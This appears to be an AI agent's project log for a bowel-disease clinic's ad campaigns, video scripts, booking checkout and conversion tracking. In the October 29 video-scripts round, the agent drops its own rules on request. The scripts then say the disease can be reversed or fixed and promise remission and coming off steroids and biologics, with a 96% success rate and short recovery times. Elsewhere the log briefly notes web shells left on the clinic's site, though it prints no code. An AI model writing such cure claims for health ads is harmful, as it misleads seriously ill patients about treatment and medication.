- 2026-10-29 (afternoon) — Video scripts round 3: the Facebook round, at full strength (David: "since these are for facebook, we can use cure, fix, heal or reverse … be more aggressive … forget that rule … this rule doesnt apply: No patient counts, success rates or timelines … Nobody is told to stop or skip a medicine, and remission is only ever asked, never promised. Please make super aggressive."). The ruling is in §5 and the Truth Gate. What changed: the hooks close the loop they open — 01 "He was wrong. I reversed it.", 02 "Neither one leads to remission.", 03 "the five things that reverse inflammatory bowel disease"; his own numbers in, word for word from his Google winner and 2024 videos (thousands of patients · a ninety-six percent success rate · recovery in as little as six weeks · off / quit steroids and biologics · for good); 02's question answered on camera (false) and "no cure" turned into his ten years; the offer is a plan with a timeline ("exactly how I'd get you into remission", "which one I'd fix first, and how fast"); the closes are commands; 04's edit rules keep the patient's own outcome, drug names and numbers (CL-11 untouched). Kept out: anything he never said — no new facts about his history ("without a single biologic", "which biologic I wanted" cut by the chief), no number larger than his. Gates: render 01 218 w / 82.8 s · 02 244 w / 90.1 s · 03 224 w / 84.7 s · 04 108 w + the captured slots / 84.0 s; audit ALL PASS with the lifted words reported for the officer. Chief
COPYCHIEF-r3.md: 9 / 9 / 8.5 / 8.5. Round 2.1 archived (_r2/, audior2/); round 2 beside round 3 on the versions board. His page (https://mgi-clinic-launch-board.netlify.app/video-scripts/) states the lift first ("Your word rules, lifted for Facebook" — cross out anything he won't stand behind), marks every number "Your number?", and its rules list now reads: never free / guarantee / refund; every number is his to confirm; a patient's words are never written or rewritten; Facebook only. For David (§9): judge round 3 on the Launch Center (askmgi-video-scripts-r3); 02 is the long one (90 s) — a beat to cut if he wants it under eighty; then he sends Dr. Dasari the link.
- 2026-11-03 (09:48 PT) — Cold round two LAUNCHED PAUSED, ON at 00:00 PT Nov 4: six new videos to the fix-ibd page, two $50 ABO ad sets (David: "for MGI clinic let's launch some more ads for the existing page so we can start doing more creative testing. Take a look at the current results as well."). Campaign
120248709143200539"MGI — MG-P1 fix-ibd · Cold · R2 · AddPaymentInfo · ABO $50/ad set", round one's audience and goal unchanged (US 25–65, FB/IG/Messenger, Advantage+ audience off, the seven warm exclusions, AddPaymentInfo, 7-day click / 1-day view). Every ad carries round one's best headline and best text, both AD003's own by the asset breakdowns: "True or false on Crohn's and biologics?" (15 booking-page opens · 5 reached payment on $63.59, the most of any headline) and "When adults are diagnosed with autoimmune conditions…" (17 opens · 5 reached payment on $38.49, link CTR 9.1%, the best of 15 texts) — so the video is the only thing that differs. Ad set 1, new openings on the winner (120248709144080539): AD009 H14 "If you use biologics or steroids, you're going to want to hear this." · AD010 H11 "If you've tried everything for autoimmune disease, you need to hear this." · AD011 H01 "I paid over $250k for medical school and still didn't understand how to solve autoimmune disease the right way." — each his own studio take (Chanu Hooks C0001: the same black scrubs and white backdrop as the five-people ad), cropped 9:16, graded to its white, captioned in its style, then the five-people ad cut clean. Ad set 2 (120248709147030539): AD012 the five-people ad cut clean · AD013 V3 "Want to stop biologics?" (the same 2024 studio shoot, its first cold run) · AD014 his most-watched short, "3 natural home remedies" (41,705 views), cut before its own GUARANTEED card with the clean card attached. Budget +$100/day: with round one ($100 shared) and retargeting ($50) still on, the account's ceiling from midnight is $250/day. - Found while building: the live AD003 shows "REAL RECOVERY. GUARANTEED. www.MGIclinic.com" for eight seconds (34.75–43.4 s, before the "Within reach" card) — on Meta's own copy of video4499494763644960(OCR: 16 frames at 2 fps). The guarantee word is still binding on Facebook (§5). The Oct 13 build appended the clean card to the 2024 cut without trimming the original card, and the check read the last frame only. The other five live videos (AD001, AD002, AD004–AD008) are clean by the same OCR. Turning AD003 or round one OFF is David's call (§9). - Picked and passed: the foods videos V1 / V2 stay out of cold (the white-coat-and-stock-footage style he passed on 2026-10-12 and in the taste log); the eggs short (Y3) leaves the queue — its words are the egg-protein lecture and it ends recommending a protease enzyme supplement; C9 (vegan diets) is held — it shows a patient on a video call and a "HEAL THE GUT" card; the UC root-causes interview (10,538 views) and the D1-athlete story (16,693) are the strongest proof in his library and both show patients — held until Dr. Dasari says those patients agreed to ads. - Results to Nov 3 09:15 PT: cold on AddPaymentInfo (from Oct 28 11:04) $282.12 → 192 landing-page views → 48 booking-page opens ($5.88 each) → 12 reached payment ($23.51) → 0 pressed pay; AD003 $113.22 · 30 opens ($3.77) · 9 reached payment ($12.58) · CTR 5.97% · AD002 $119.39 · 17 ($7.02) · 2 · AD001 $49.51 · 1 · 1. Daily delivery swings $1–$97 on a $100 budget (no AddPaymentInfo for Meta to learn from). Retargeting (from Oct 30) $142.62 → 107 opens ($1.33) → 7 reached payment → 0 pressed pay; its ad sets have Advantage custom audience on (Meta may reach past the pools). Pixel, site-wide since Oct 28 11:00: InitiateCheckout 44 → AddPaymentInfo 11 → CheckoutPaid 6 — the 19 Facebook people who reached payment (18 of them straight from a click) all stopped, while about 11 of the other 25 pressed pay. Our booking system since Oct 28: 12 bookings, 0 from Facebook (Google 8, untagged 3, chatgpt.com 1). Page gate (readers → booking page) 25% pooled, under the 30% bar. By round one's rules (its three days ended Oct 30): AD003 KEEP ($3.77 an open) · AD002 KEEP ($7.02) · AD001 OFF.
- 2026-11-05 — HIS TAKES ARE IN, AND CUT (§6, §8, §9): David: grab all of the video links that Chanu sent on Nov 4th, marry them with the video scripts we gave him and then start the video editing process. → the ten clips he Mail-Dropped on Nov 4 from cdasgud@gmail.com to david@culturesf.co (IMG_8128 · 8130 · 8131 · 8132 · 8134 · 8136 · 8137 · 8138 · 8140 · 8141, 924 MB, his patio, his phone, purple scrubs) and his own script document (
11-4-26 FB Vertical I Phone Video Script.docx: his rewrite of our four + a fifth of his own, Rapid Fire) are the shootcreative/mgi/footage/dasari-2026-11-04/(originals gitignored; index, transcripts' record,scripts/= his versions verbatim,cuts/= the five paper edits,log.json,MATCH.md). He read HIS rewrite, not ours — so the match ran against his words: ulcerative colitis at 19 (the diagnosis David asked for on 10-29, now on camera), two decades in remission (ours: ten years), four weeks (ours: six), “reversing autoimmune disease”, “remission without meds”, “natural remission”, 96%, thousands — every one his own word, kept as said (CL-11), the officer reads them separately (CL-00). The five cuts (01 108s · 02 95s · 03 71s · 04 42s · 05 52s): one take each for 1, 2, 5; 3 = hook + a notebook drawing (not a whiteboard) + the rest; 4 = his three pieces only — the patient slots are open and his doc asks for a HeyGen patient, which the house never cuts (A-02; a real patient on their own phone, with consent). Rapid Fire opens with his own “Hi, I'm Chanu Dasari, a gut surgeon” cut from his take of 1 (his mail asked for a “Hi, I'm” to be added; nothing is synthesized). His mail: “Please clean up the audio quality. Please delete the wrong lines and pauses and stitch together.” — the wrong lines and the pauses are the cuts (eight lines on the floor, listed inlog.json); the audio clean-up is the editor's. Gate: every row re-heard by the gate (min 0.86 pre-check, ≥0.88 verified), rough cuts + clean cuts inroughcuts/; editor packemail/mgi/editor-pack/dasari/+.zip; the client pageemail/mgi/video-cuts/copied to his board at/video-cuts/on a DRAFT (the first draft's page heads and players were hidden by David's ad blocker — the sections were namedad; renamedpiece, redeployed; https://6aed1c05b5f7c2b3517d51a2--mgi-clinic-launch-board.netlify.app/video-cuts/) for David's eye first — production untouched. Tools:tools/footage-match.py(new: takes → scripts, per beat),build-paper-edit.py+build-editor-pack.pytake--scripts-dir; the paper-edit renderer now handles a phone's rotation tag and a portrait source (ffmpeg 7.1 carried the tag into the cut and players turned it on its side — fixed). The outtake (a plush poop toy from a patient, 8 s) is held for David's call: a cold open on Rapid Fire, or nothing.
7 · Asset map
TO FILL — raw vault, official logos/wordmarks, packaging files, photography, UGC, boards, Visual DNA.
8 · Live surfaces
- Booking checkout (cal.diy, Railway): https://book.mgiclinic.com/checkout/mgiclinic/discovery — SMS consent line under Phone since 2026-09-28.
- SMS terms & privacy: https://book.mgiclinic.com/sms-terms (2026-09-28).
- Today page (Dr. Dasari's day list, 2026-10-12): https://book.mgiclinic.com/today — first item in the cal.diy left menu (log in first). Every call on the day in order; a call stays after its time passes ("Time passed"); tap-to-call phone, condition, notes, their local time; ‹ › for other days; refreshes every minute. cal-checkout
6b33916162. Patient search on top (2026-10-15,d28fe14e38): name (any words, any order), email or phone → every booking that person made through book.mgiclinic.com, past and future, newest first. - Client hub (launch board + reports): https://mgi-clinic-launch-board.netlify.app — deploy ONLY via
clients/mgi/deploy.sh(gated since 2026-09-28). Booking texts page (every trigger + every text, for Dr. Dasari's review): https://mgi-clinic-launch-board.netlify.app/booking-texts/ - Site rollout map (Calendly booking pages → checkout; private artifact, 2026-09-29): https://claude.ai/artifact/8YxGj31UCeo3jUy9rzmWin
- Booking hand-off LIVE (Stage 1, 2026-09-30 10:18 PDT): /discovery/, /crohns-treatment-start/, /ulcerative-colitis-treatment-start/ (+ test path /booking-handoff-test/) on www.mgiclinic.com AND www.mind-gut-immunity.com forward in the browser to book.mgiclinic.com/checkout/mgiclinic/discovery (+
?c=), keeping gclid/utm_/fbclid. mu-pluginwp-content/mu-plugins/mgi-booking-handoff.php, sourceclients/mgi/tracking/mgi-booking-handoff.php(all 20 pages listed; later stages flipfalse→true, upload withphp -lfirst, thenwp page-cache flush+wp cdn-cache flush). Escape hatch for editors:?handoff=off. Undo: delete the file + flush. - Click keeper LIVE (2026-09-30 17:36): mu-plugin
mgi-click-keeper.php(sourceclients/mgi/tracking/) writes first-party cookiemgi_attron .mgiclinic.com (gclid/gbraid/wbraid, utm_*, landing path; 90 days; last click wins) whenever a visitor lands with any of them; the checkout reads it. Inert on the mirror domain. - J&T ad board, MGI workspace (2026-10-09): http://localhost:8769/dashboard/#mgi-own/source — step 1 = "Our ads & videos" (
creative/mgi-own/, 658 cards: 15 Meta ads 2024 · 197 YouTube Shorts · 224 YouTube videos · 222 Dropbox videos in 24 folder sections) for keep / refine / kill; step 2 =creative/mgi-ads/(empty until round 1). Read-only copy for the team: https://launch-center-hq.netlify.app/swipes/mgi-own/ (ships with the next Launch Center build). - MG-P2 · the five-level quiz (review, noindex, 2026-10-18): https://mgi-quiz.netlify.app/quiz/ (lanes
lane-a.html·lane-b.html·lane-c.html; Netlifymgi-quiz, team david-ecw5aq8,f372f33b-9643-4493-81b0-26c570aba440; deploy ONLY viatools/deploy-mgi-quiz.sh). Board https://launch-center-hq.netlify.app/mgi/boards/mgi--quiz-lanes/ · notes for his pass 2 https://launch-center-hq.netlify.app/docs/mgi-quiz-notes.html. Live address once picked and signed: book.mgiclinic.com/quiz/ (the booking app rewrites /quiz/ to the quiz site). The pixel and GA4 run on mgiclinic.com hosts only. - MG-P3 · quiz 2, our questions → his five causes (review, noindex, 2026-10-19): https://mgi-quiz.netlify.app/quiz-causes/ (lanes
lane-a/b/c.html, same site and deploy script as MG-P2). Notes for his pass 2: https://launch-center-hq.netlify.app/docs/mgi-quiz2-notes.html. Live address once signed: book.mgiclinic.com/quiz-causes/. - MG-P4 · quiz 3, tell the surgeon your story → your case (review, noindex, 2026-10-27): - Page: https://mgi-quiz.netlify.app/quiz-case/ (lanes
lane-a/b/c.html; openings?v=b,?v=c; same site and deploy script as MG-P2). - Notes for his pass 2: https://launch-center-hq.netlify.app/docs/mgi-quiz3-notes.html - Copy chief round 1: https://launch-center-hq.netlify.app/docs/mgi-quiz3-copychief-r1.html - Live address once signed: book.mgiclinic.com/quiz-case/. - The 2025 quiz (Dr. Dasari's own, still on WordPress): https://www.mgiclinic.com/quiz/ = an Interact quiz (quiz.tryinteract.com, id 685e33fdfbfc5d0015537782, 2025-06-27) → result pages /dire-need/ · /precarious-survivor/ · /silent-sufferer/ · /functional-seeker/ · /resilience-builder/ · /blue-zone/, each promising a guide by email; Klaviyo lists from the same day: Dire Need
UNhxJx· Precarious SurvivorV3A4Jm· Silent SuffererRJD4U6· Functional SeekerXpeezS· Resilience BuilderUZd4yV(2–3 profiles each on 2026-10-17: it barely ran). MG-P2 reuses the lists and ports his result copy. - TO FILL — landing pages as they ship.
- Video scripts round 2 (2026-10-28): the review page with the audio https://launch-center-hq.netlify.app/docs/mgi-video-scripts-r1.html · round 1 beside round 2 https://launch-center-hq.netlify.app/docs/mgi-video-scripts-versions-r1.html · the rival's ads https://launch-center-hq.netlify.app/docs/mgi-ccl-study.html · the copy chief https://launch-center-hq.netlify.app/docs/mgi-video-scripts-copychief-r1.html (Launch Center docs; built by
tools/build-wam-video-scripts-review.py --brand mgiandtools/build-wam-scripts-version-board.py --brand mgi; audio underdocs/mgi/video-scripts/). The client copy for Dr. Dasari (his pass 2), 2026-10-28: https://mgi-clinic-launch-board.netlify.app/video-scripts/ on his launch board (linked from its header): what we need from him, his rules, each script as he'd film it (five opening lines, what he says and what is on screen per beat, the audio, how to film), 18 marks on lines he must confirm ("Your words for nineteen?" · "Is this true?" · "Your line as written?" · "Depends on the patient"); he texts David his changes. Built bypython3 clients/mgi/creative/build_video_scripts.pyfrom the same script files (fails if an angle id, bucket, claim id, the rival, the chief or a production note reaches the page, or a mark's line is gone) →bash clients/mgi/deploy.sh. - Copy sheet (2026-10-28, copy law CL-23 — every headline and primary-text idea judged on one spreadsheet-style grid): https://copy-sheet-hq.netlify.app/mgi/ — 154 rows (15 round-two headlines + 15 primary texts, 22 round-one / retargeting-plan ideas, the media-plan twin's sets, 52 batch-2 hook lines on the angle board's log, the 30 live AD001–AD003 lines);
python3 tools/angle-studio/copysheet.py build --brand mgi --auto·verdicts→briefs/mgi/copy/. · since 2026-10-30 the brand's page on Copy Sheet HQ carries every tab: angles · hooks · hook buckets · ad headlines · ad primary text · email subject lines · the truth gate · every verdict list (the Launch Center's grids and card views retired behind redirects)
9 · Open questions / asks
- 2026-11-08 (program sales vs calls, David): since the new checkout, 2 of 59 paid callers bought the program (3.4%, one more possible) against 39 of 289 on Calendly (13.5%), matched on card, email, name, nickname and ZIP rather than email alone (§10, 21:45); hold the budget steps after step 1 until this is explained? Questions for Dr. Dasari's team: how many October calls happened (no-shows), what the callers were like, anything changed in the call or the offer, any program sales outside Stripe (financing, wire), and how the buyers since mid-October found him. The click-ID pipe is built: no program buyer since Oct 1 sits on a Google-click booking, so there is nothing to send for registrations; the 34 paid ad bookings could go to "Discovery Call Booked (imported)" as the end-to-end test (scope in, validate-only passed, §10 22:00), but David asked why ("doesnt google know them already"): yes, the web tag already counts booked calls (29 by click date Sep 25 to Nov 8, against 34 paid Google-click bookings in the booking app) and the imported action feeds no bidding, so the test would only prove matching. Recommended 11-08 22:10: skip it; send the first program buyer who came from a Google click instead, on his go, and read Google's match report a few hours later. Do not send the 34 without a fresh go.
- 2026-11-09 (Google Ads scaling, David): the budget climb is LIVE on five campaigns, 20% every two days (Mon / Wed / Fri), step 1 made 10:14 PT Nov 9 (§10). Each later step is his go:
python3 clients/mgi/tracking/budget_step.py statusshows which campaigns passed their two checks (spent 90% of the budget, cost per click under +25% on the week before), thenstep --executeon his word. Next: Wed Nov 11 (Brand Capture $18 → $21.60, International $48 → $57.60, Intestinal Inflammation $72 → $86.40, Symptom Bridge $36 → $43.20, Ulcerative Colitis $72 → $86.40, each only if it passes). He removed the stop-after-Friday rule and the back-off after two weeks without a booked call; read booked calls each Monday and bring him the numbers anyway. Next priority decision: Symptom Bridge's countries24142664790. A UK booking on Nov 8 corrected the earlier "abroad never books" read (§10, 12:41 PT). Over its life (Aug 18 – Nov 9): US $1,464, 4 booked, $366 a booking; UK $443, 1 booked; Canada $360, UAE $87, Saudi Arabia $41, 0 booked. He held US-only on 11-09 so the campaign wouldn't go back into learning; Google says a location change never triggers Learning. Proposed: on Wed Nov 11, in place of Symptom Bridge's raise, drop Canada, UAE and Saudi Arabia and keep the US and the UK (budget stays $36, the other four step); his go pending. Round two otherwise as in §10 (US-only on the other US campaigns, re-rank, Quality Score 1 keywords). Still his: the share of discovery calls that buy the $6,800 program; Thanksgiving Thu Nov 26 (8 slots open). - 2026-11-05 (booking failures, David): the three booking-app fixes are live (§10). Still his: (1) ~~turn Cash App Pay off~~ ANSWERED 11-09: David keeps Cash App Pay ON ("Lets keep Cash-App ON"), and International scales with it on. (2) Pick the text consent line (A plain checkbox · B "don't miss the call" card · C email-or-text chips, shown in chat 11-05; my pick B). It then ships with a send gate (only patients who opted in get texts) and the campaign is resubmitted with its terms and privacy URLs (David clicks the paid step, likely another $15). (3) Did the two rescheduled calls happen:
nyrJ96Dq(Nov 3, 8:30 PT) and the Oct 27 reschedule (Oct 28, 8:15 PT)? (4) Stop the reminder due ≈ 19:32 PT Nov 5 to the patient in §10 by adding their real address to the bookers' list? (5) Dr. Dasari's side: whether the misaddressed confirmation needs logging as a privacy incident. (6) Roll the Stripe read key he pasted in chat (…kFSo) and save the new one himself asSTRIPE_READ_KEYin~/.calcheckout/secrets.env; it was used read-only and never saved. - 2026-11-03 (cold round two): (1) David: round one OFF at midnight? Recommended — AD003's eight-second GUARANTEED card, AD001 below the bar, and the round ended Oct 30; round two carries the five-people ad cut clean (AD012). Through adscaler, on his word. (2) The payment step inside Facebook's browser: 19 people from the ads reached payment (18 straight from a click) and none pressed pay, while about 11 of the other 25 did. David taps an ad in the Facebook app on his phone and checks that the card form shows on the booking page, or says yes to a test from here (a test name and email typed on the live booking page, stopped before paying). (3) Dr. Dasari: did the UC root-causes patient and the D1 athlete agree to ads (not only YouTube)? The two strongest proof videos wait on it. (4) Dr. Dasari's pass 2 on the three hook versions (his own recorded words) as usual.
- David: judge the five CUTS of his takes on the draft of his board page
/video-cuts/(https://6aed1c05b5f7c2b3517d51a2--mgi-clinic-launch-board.netlify.app/video-cuts/) — the words and the order; then (a) publish the page to his board (bash clients/mgi/deploy.sh) so he judges too, (b) the editor getsemail/mgi/editor-pack/dasari.zip, (c) the squishy outtake: a cold open on Rapid Fire or nothing, (d) a real patient for 4 (never HeyGen), (e) his end-card files, (f) his numbers in writing (96%, thousands, four weeks, two decades — all said on camera). The supers still take the chief's pass (CL-21) and the officer's read (CL-00) before anything airs; Facebook only. - David: the four video scripts (§8, 2026-10-28) — judge with the audio; keep the length or cut a beat; which three shoot first; the weird twenty (👍 lines become next round's hooks). Ask
mgi-video-scripts-r1on the lane. - Dr. Dasari (pass 2 on the scripts): the lifted word rules — his cross-outs (round 3 says reverse / fix / "no cure" as the doctors' word, his 96% / thousands / six weeks, remission promised, off steroids and biologics; his page states David's 2026-10-29 call first and asks him to strike anything he won't stand behind); every number marked "Your number?" (96% success, thousands of patients, six weeks — yes, or the figure he'll stand behind in writing); his one true sentence about nineteen for script 01 (what the office looked like, what he was told); which diagnosis the doctor named at nineteen — Crohn's, ulcerative colitis, or IBD (the hooks of 01/02 say inflammatory bowel disease until he says; 2026-10-29); his photos at nineteen and now (the evidence beat in 01–03); a patient willing to film on their own phone for 04, with written consent; whether "I won't tell anyone to turn a medicine down" is his line as written; yes / no / his version on the lines marked "Is this true?" (the hospital bracelet, twenty years of immune suppression, the biologic and the car payment, ninety minutes in a waiting room, ten years of appointments, six gastroenterologists apiece, "that's the whole clinic", planning his days around a bathroom). All of it on his page https://mgi-clinic-launch-board.netlify.app/video-scripts/ (2026-10-28; David sends him the link).
- 2026-10-12 — Meta retargeting launch, asks on the Launch Center (lane
mgi):mgi-retarget-destinationANSWERED in chat (all tiers → /fix-ibd-naturally/; withdrawn) · 2026-10-13 retargeting PARKED:mgi-retarget-go+mgi-retarget-budgetwithdrawn; COLD asks posted:mgi-cold-round1-ads(Y1 six mistakes · Y2 not genetics · C10 five people, or three others) ·mgi-cold-budget($100 / $150 / $200) ·mgi-cold-go·mgi-retarget-go·mgi-retarget-budget($25 / $35 / $50 a day) ·mgi-2024-copy-port(the held 2024 texts, x5) ·mgi-story-voice(his voice / about him) ·mgi-noun-lock·mgi-angle-board-r1(six cards) ·mgi-truth-gate(provisional; x1–x6 pending) ·mgi-own-ads-keep(the 15 2024 creatives on the J&T board + the three clean cuts on the mgi ads board). Dr. Dasari: pass 2 on the copy doc (/docs/mgi-retarget-copy-r1). - 2026-09-28 — 10DLC campaign under carrier review (submitted 21:32 PDT). On approval: Opt-Out Management replies, Standard Twilio key into Railway, SMS_TEST_ALLOWLIST = David's 0987 number, SMS_MODE=live, then open to all.
- 2026-09-28 — Missed-call text links to the paid checkout ($50 again). Free rebook instead? Doctor's call.
- Who marks no-shows in cal.diy (the missed-call text only fires when someone does)? Does Calendly still send its own reminders?
- 2026-09-29 — Site rollout (booking pages → checkout), awaiting David: (1) go on Stage 1 via a mu-plugin browser hand-off over SSH, or WPE portal rules; (2) OK to run read-only
wp core verify-checksumsfirst (no record the Sep 2 compromise was cleaned); (3) does the checkout check Dr. Dasari's calendar (double-booking while Calendly is live)?; (4) Dr. Dasari: the 9 free Calendly pages become $50 phone calls, or stay free (checkout has no free path)?; (5) start before 10DLC approval?; (6) Google re-login (token invalid_grant) for the baseline. - 2026-09-30 — Site still compromised (read-only re-check): two root web shells from 2026-08-20 survived the Sep 3 cleanup:
cache.php("SentinelShield" disguise, remote-payload eval behind a password) andwso.php(WSO shell). Core files, wp-admin, and admins are clean (only user = David's, ID 36); wp-file-manager inactive but installed. Proposed, awaiting David: move both shells + wp-file-manager into_wpeprivate/(evidence kept), reset salts, David resets his WP password, WP Engine malware scan. Blocks Stage 1 and the CTA fixes. Detail:clients/mgi/incidents/COMPROMISE-FINDINGS.md§8. - 2026-09-30 17:48 — Ads conversion actions created (David: "setup the google columns"), all SECONDARY: "Checkout — Entered details"
7810437825(labelJal9CMGlp4wdEMCH2rxE), "Checkout — Watched video"7810437828(8Q0DCMSlp4wdEMCH2rxE), "Checkout — Payment submitted"7810437831(UQGfCMelp4wdEMCH2rxE) — WEBPAGE, one per click, no value; "Discovery Call Booked (imported)"7810437834— UPLOAD_CLICKS, $50, the daily file's target. - 2026-09-30 17:52 — GTM-NBQBWTR8 v12 "Checkout attribution 2026-09-30" PUBLISHED (David: "yes publish it"). Discovery Page View (27) →
checkout_view; Date & Time Selected (41) →checkout_slot_selected; Discovery Call Booked (26) →checkout_paidwith the booking uid as transaction ID + value/currency, thank-you trigger narrowed to Calendly referrals; new tags 53/54/55 (Entered details / Watched video / Payment submitted); Calendly listener + tags 35/38/39/40 paused. Verified with every hit blocked: each step sends its own label; pay with an empty card fires Payment submitted and Stripe stops it before any booking. - 2026-09-30 17:55 — v13 "Checkout no user data to Google" PUBLISHED. Per-tag enhanced conversions OFF was not enough: Google's tag ran account-level AUTOMATIC enhanced conversions (
ec_mode=a) and hashed#checkout-emailinto every conversion hit once tags fired on the checkout. Fix: consent tag 24 now setsad_user_data: deniedon book.mgiclinic.com only (granted elsewhere). Re-verified: noem, hashed or raw, in any Google hit; onlyec_sel/ec_meta(field selector + value length) remain; all step conversions still fire. Ads shows "Enhanced conversions not recording" — expected. Trap: GTM workspace names reject ":"; published container escapes quotes (grepbook.mgiclinic.com\"?\"denied). - 2026-09-30 18:20 — Ads custom columns done; column set "MGI Funnel" replaced and applied (Campaigns view). New, each All conv. filtered to one action: Picked a Time ("Discovery — Date & Time Selected"), Entered Details ("Checkout — Entered details"), Watched Video ("Checkout — Watched video"), Payment Submitted ("Checkout — Payment submitted"). Plain Conversions would read 0: it counts only the campaign goal (Button Click). Order: Cost → Booking Rate → Reg Revenue → Registrations → Cost / Booking → Booking Page Views → Picked a Time → Entered Details → Watched Video → Payment Submitted → Bookings → CTA Clicks. Existing columns unchanged. No column yet for "Discovery Call Booked (imported)" (add once the daily upload runs, to compare with the tag's Bookings). Traps: the Text-mode formula editor drops a typed "—", so build in Visual (+ Column → Conversions → All conversions → filter Conversion action); the column list ignores fast drags (moves 1–2 rows) and has no keyboard move, but HTML5 DragEvents (dragstart → dragenter/dragover per row → drop → dragend) place a row exactly. First read today: "Proven Winners — Legacy Converters" 1 booking page view + 1 picked a time.
- 2026-10-01 15:10 — What the campaigns bid on (read live in the Ads UI; the API login needs re-auth,
invalid_rapt). Custom goals: "Discovery — Button Click (bidding)" = 1 action (Discovery Call Button Click) → 9 campaigns; "Calendly intent (date/time + on-domain booking)" = 2 actions → 2 campaigns; "Booking only (Discovery Call $50)" → 0 campaigns. The 9 search campaigns run Target CPA (target amounts not read); Retargeting Display = Maximize clicks; PMax paused. Today "Conversions" = CTA Clicks in every converting campaign (UC 2, Brand 1, Symptom Bridge 1), so the bidder counts Button Clicks. By count, the 2 Calendly-intent campaigns are Display + PMax, neither spending (not confirmed per campaign). Nothing bids on bookings. Discovery Call Booked ($50) is the only primary action, but custom goals override account defaults, so it only reports. All the checkout step actions are secondary. Since v12 paused the Calendly listener, "Calendly on-domain" no longer fires. First new-step data today: UC 2 booking page views + 1 watched video; account 4 booking page views, 4 CTA clicks. - 2026-10-01 — Option 2 approved: bid for funnel value, set up in two weeks (David: "set up option 2 with values in two weeks"). The 9 search campaigns move from Target CPA on the Button Click goal to Maximize conversion value (no ROAS target) on a new custom goal, "Funnel value (click · time · booking)". Each step is worth $50 × P(paid booking | step): Button Click (floor $0.50, kept for volume and history), Picked a Time (Date & Time Selected), Booking $50 (the tag, or the import if the daily upload runs and catches at least as many; never both). Why: Target CPA counts a click the same as a booking. Tool
clients/mgi/tracking/value_bidding.py:plan(read-only; values and gates),apply(validate-only, then--execute: snapshot, values, goal, campaigns, read-back),revert,watch. Scheduled taskmgi-value-bidding-switchruns 2026-10-15 10:00 PT. It HOLDs and asks David if any gate fails: ad bookings reach Ads, 3+ paid bookings and 10+ time picks in GA4, 30+ ad Button Clicks, 5+ ad Picked a Time, page views ≈ clicks, values ordered. (2026-10-03: the "tag alive" gate is gone.conversion_last_received_request_date_timelags by days; it said Discovery Page View was last seen Sep 30, the day after Ads recorded 4. Counts decide now.) Google's token will need David's re-login that morning. Delivery watch runs at 17:30 the same day and 10:00 the next; a campaign with no delivery is reported to David with the revert command, never reverted without his go. Later: add imported Program Registrations ($6,800). - 2026-10-02 — Cost per booking click by landing page (David: "$63 for a Booking Click is really really high"). Tool
clients/mgi/tracking/lp_cost_per_click.py(read-only, landing_page_view × conversion action). Aug 1–Oct 1: every enabled ad → www.mgiclinic.com/fix-ibd-naturally/, the cheapest page with real volume (Sep 1–21 $42 per booking click);/fix-ibd-naturally/{ignore}is the SAME page, with all clicks from Sep 22 on ($90 because it only covers the expensive weeks). Worse: mind-gut-immunity.com/fix-ibd-naturally (Aug, $0.30 junk clicks) $234; /crohns-disease $106 (mirror) / $421 (www); /ulcerative-colitis $49 on 4 clicks (too few to call). **The cause is bidding, not the page.** 2026-09-13 20:50 our API switched all 9 search campaigns from Max Clicks to Maximize Conversions with a $100 target per conversion (conversion = Button Click). Search totals: Sep 2–11 Max Clicks $1.18 CPC, 2.1% of clicks book-click → $58; Sep 13–16 (first days) $2.33 CPC, 10.5% → $22; Sep 17–Oct 1 $5.57 CPC, 7.3% → $76 (last 14 days $81), clicks/day 254 → 160 → 70. Smart Bidding found better clicks, then overpaid for them under the loose $100 cap. Recommended to David: lower the target to $65, then about 20% a week toward $40. Carry a cost cap (a ROAS target) into the 2026-10-15 value-bidding switch instead of no target. Step 1 approved (below). - 2026-10-02 16:58 — Target cost per booking click $100 → $65 on all 9 search campaigns (David: "1. Yes. Ideally my target CPA for a booking click needs to be $22"). Maximize Conversions,
maximize_conversions.target_cpa_micros; Google validated it first and all 9 read back $65. Baseline week Sep 25–Oct 1: $2,131 · 371 clicks ($5.74 CPC) · 33 booking clicks · $65 each. Toolclients/mgi/tracking/tcpa_step.py(status / set / step), logtcpa/state.json, snapshottcpa/snapshot-20261002-1658.json. Weekly step-down: taskmgi-tcpa-step-down, Fridays 10:00 PT from 2026-10-09, 80% of the current target each week, floor $22 (≈$52 → $42 → $34 → $27 → $22). A step only happens when the week since the last change passes three gates (spend/day ≥ 50% of the week before, booking clicks/day ≥ 60%, cost per booking click ≤ +10%). Otherwise it HOLDs and tells David; it disables itself at $22. Each run needs David's Google re-login. The 2026-10-15 value-bidding task now asks David first: (a) keep stepping and postpone it, or (b) switch with a ROAS cost cap. - 2026-10-03 — Attribution check, Oct 2 (David: "is attribution passing correctly to google ads"). GA4 vs Ads match. Booking page views: 11 people (4 from ads, one each from Crohn's, International, Intestinal Inflammation, Proven Winners); Ads recorded 4 (by click date and by conversion date). Picked a time, entered details, payment submitted, bookings: 0 in GA4, 0 in Ads; Stripe has no $50 payment Oct 2. Watched video: GA4 3 people, none labelled ads; Ads 1 (Crohn's). Ads remembers the click for 30 days, while GA4 files a return visit as direct. Button Clicks 4 = checkout views 4. Consent
ad_user_data: deniedon the checkout does NOT block attribution. GTM v13 mapping: Entered details fires oncheckout_reached_payment(not on the name/email/phone blur events); Watched video oncheckout_video_start. Watch: 0 of 11 checkout visitors picked a time on Oct 2, and 0 of 9 ad visitors over Sep 30–Oct 2. - 2026-10-03 — "Not Secure" on book.mgiclinic.com is only in David's Chrome. HSTS + CSP
upgrade-insecure-requestsare live; plain http 301s to https. A fresh Chrome (desktop and iPhone, CDP Security) reads secure with no http requests. David's own Chrome profile in a fresh tab loads nothing over http, and the page's 31 scripts carry no real http:// address. Likely a remembered "proceed anyway" from Sep 29–30, when the custom domain had no certificate yet, or an extension. Fix on his side: quit Chrome fully and reopen, or check DevTools → Security. - 2026-10-04 — What times the checkout offers + time zones (David: "check what times it's offering" / "make sure the time is working in their timezone").
